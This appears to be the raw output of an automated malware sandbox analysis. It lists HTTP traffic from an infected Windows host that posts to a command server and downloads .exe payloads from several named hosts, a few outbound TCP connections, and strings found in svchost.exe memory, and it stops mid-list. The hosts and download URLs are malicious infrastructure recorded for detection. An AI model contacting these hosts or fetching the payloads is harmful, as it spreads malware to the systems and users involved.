Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hsqeovy.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 243Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ffohm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 187Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uwxadets.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 125Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://owkwjgjx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 323Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ujflcd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wwwrwr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rffjdwq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rffjdwq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 263Host: host-data-coin-11.comData Raw: 10 87 f1 e7 6b f9 a0 bb cc 3f 0e 47 79 bd e1 f8 46 61 dd 44 a7 31 6e 9d b8 eb dc f5 8e d3 e6 84 6a ba 58 d3 10 6e cb 96 9c a9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 84 66 5d 02 c8 a1 c1 64 33 ac c4 78 43 98 6f 21 e4 1d 57 01 61 63 8c b6 aa 2f a9 84 aa b2 2d 47 00 09 1c 86 18 1f ea 6b 04 4e 7e f2 14 f7 e5 07 d6 53 7f 21 2f a5 8d 3d 0d 2c b1 3f e8 c5 2f 65 ca fb 48 d5 5d 37 43 e0 67 fb 74 95 b5 f5 d9 f8 2d 9f 28 b9 35 5e 6c 61 39 ec 79 82 a8 53 c8 c2 35 a2 ad 65 2d 3f ba 90 c9 fa fb 6d 2a bc 91 b0 96 ef 64 73 9b fd ff f7 53 6e 61 44 37 d9 8e 71 5a 2e 89 81 c5 61 dc 54 07 75 da 78 56 df c7 0c e7 12 92 3c da ae 44 03 da 32 fc c0 86 3f 96 bc 79 6d f5 7a 37 9f c7 e5 de 46 dd 88 50 7f bc 51 ff aa 01 40 d6 c7 6c cf 27 a7 3c 1d 7c 0b 9f e1 30 Data Ascii: k?GyFaD1njXnwmDu$f]d3xCo!Wac/-GkN~S!/=,?/eH]7Cgt-(5^la9yS5e-?m*dsSnaD7qZ.aTuxV<D2?ymz7FPQ@l'<\|0
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwjxdg.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hrknr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ffqdri.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 270Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rsnegictry.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 231Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jeltu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 325Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdpxgri.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fisxwlhs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hfldhq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ontfrhif.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 311Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bbrscm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 343Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rsccxqyvj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 319Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jhmgibx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xcyxdpo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 154Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bmitrqru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yomhbwinpp.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8474_1641976243_3082.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jowhwjm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pedgrinq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 255Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /7.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pfdipnd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bhcnfrdygt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 333Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lepwe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: a0621298.xsph.ru
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wlbpl.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 344Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebglpbq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 229Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldoxvunj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://arxpt.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 128Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wajww.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bitqeg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 358Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rqhabfnn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hjilsxiyi.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/4918_1642080252_3360.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lvexyr.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 134Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rfqgywpmj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 246Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nkjumxwsc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 144Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wnfuahwrra.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 315Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/9006_1642091568_3496.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com

Source: global traffic

TCP traffic: 192.168.2.5:49748 -> 185.7.214.171:8080

Source: global traffic

TCP traffic: 192.168.2.5:49774 -> 52.101.24.0:25

Source: svchost.exe, 0000000A.00000003.302377487.00000159C298A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294135803.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296740926.00000159C299A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302529199.00000159C2956000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299823856.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299709872.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293559312.00000159C2989000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299695905.00000159C2959000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296497058.00000159C2992000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299733058.00000159C295B000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299941137.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293513069.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.306871595.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293788329.00000159C2969000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302735266.00000159C298A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302304092.00000159C2980000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: svchost.exe, 0000000A.00000002.597842757.00000159C22E3000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS%3C/ds:KeyName%3E%3C/ds:KeyInfo%3E%3CCipherData%3E%3CCipherValue%3ECSImQ81IxG
Source: svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbc48496-2624191407-3283318427-1255436723
Source: svchost.exe, 0000000A.00000003.377405699.00000159C2955000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbc90995-327840285-2659745135-2630312742
Source: svchost.exe, 0000000A.00000003.303341556.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305499944.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPF
Source: svchost.exe, 0000000A.00000003.296662494.00000159C2954000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302354748.00000159C295C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302368744.00000159C295E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.293743743.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296835012.00000159C2958000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297231335.00000159C295A000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000A.00000003.301112460.00000159C30C6000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311134418.00000159C295A000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/tb
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/tb_jz
Source: svchost.exe, 0000000A.00000003.303531645.00000159C30C6000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/tbldsig#
Source: svchost.exe, 0000000A.00000002.626072218.00000159C3038000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/tbpose
Source: svchost.exe, 0000000A.00000003.314357417.00000159C30C7000.00000004.00000001.sdmp	String found in binary or memory: http://Passport.NET/tbusi
Source: svchost.exe, 00000002.00000002.640514055.000001F8DF662000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.597842757.00000159C22E3000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.421162873.000000000531F000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000002.425647304.000000000531F000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000002.00000002.640514055.000001F8DF662000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.597842757.00000159C22E3000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://dhttp://Passport.NET/STS09/xmldsig#ripledes-cbcices/SOAPFaultcurity-utility-1.0.xsd
Source: svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.309439476.00000159C2950000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307263823.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasi
Source: svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300132751.00000159C2954000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2
Source: svchost.exe, 0000000A.00000003.285144430.00000159C292E000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/o
Source: svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200
Source: svchost.exe, 0000000A.00000003.307843725.00000159C2969000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-2000
Source: svchost.exe, 0000000A.00000003.312408717.00000159C2951000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312027392.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-h
Source: svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000A.00000003.418384259.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.418436170.00000159C2951000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd(
Source: svchost.exe, 0000000A.00000003.313395625.00000159C295F000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd23
Source: svchost.exe, 0000000A.00000003.303332538.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297742770.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296055205.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302866482.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311162628.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291713284.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294135803.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302777888.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297732317.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295674651.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307752382.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297587146.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295856588.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299823856.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295834063.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297445321.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313032041.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307240286.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285191173.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313192090.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295969581.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318856067.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296120988.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312712162.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299709872.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.318798282.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312493661.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313042176.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313208720.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295756392.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.292025310.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285066185.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297575730.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307165398.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.300117504.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291939671.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299941137.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.618112580.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312821276.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291902751.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297407218.00000159C2907000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.303385751.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.312803149.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313125037.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297961457.00000159C2910000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285037770.00000159C290E000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAA
Source: svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAA
Source: svchost.exe, 0000000A.00000003.296695303.00000159C2970000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296592771.00000159C295C000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAAA
Source: svchost.exe, 0000000A.00000003.299859114.00000159C2950000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdY
Source: svchost.exe, 0000000A.00000003.307401572.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307768227.00000159C2948000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307263823.00000159C2948000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000A.00000003.314568357.00000159C2990000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.579083943.00000159C2294000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000A.00000003.303332538.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297742770.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.296055205.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302866482.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.311162628.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.291713284.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.294135803.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302777888.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297732317.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295674651.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307752382.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297587146.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295856588.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.299823856.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295834063.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.297445321.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313032041.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.307240286.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.285191173.00000159C290E000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.313192090.00000159C290F000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.295969581.00000159C2908000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.302820181.00000159C2990000.00000004.00000001.sdmp, 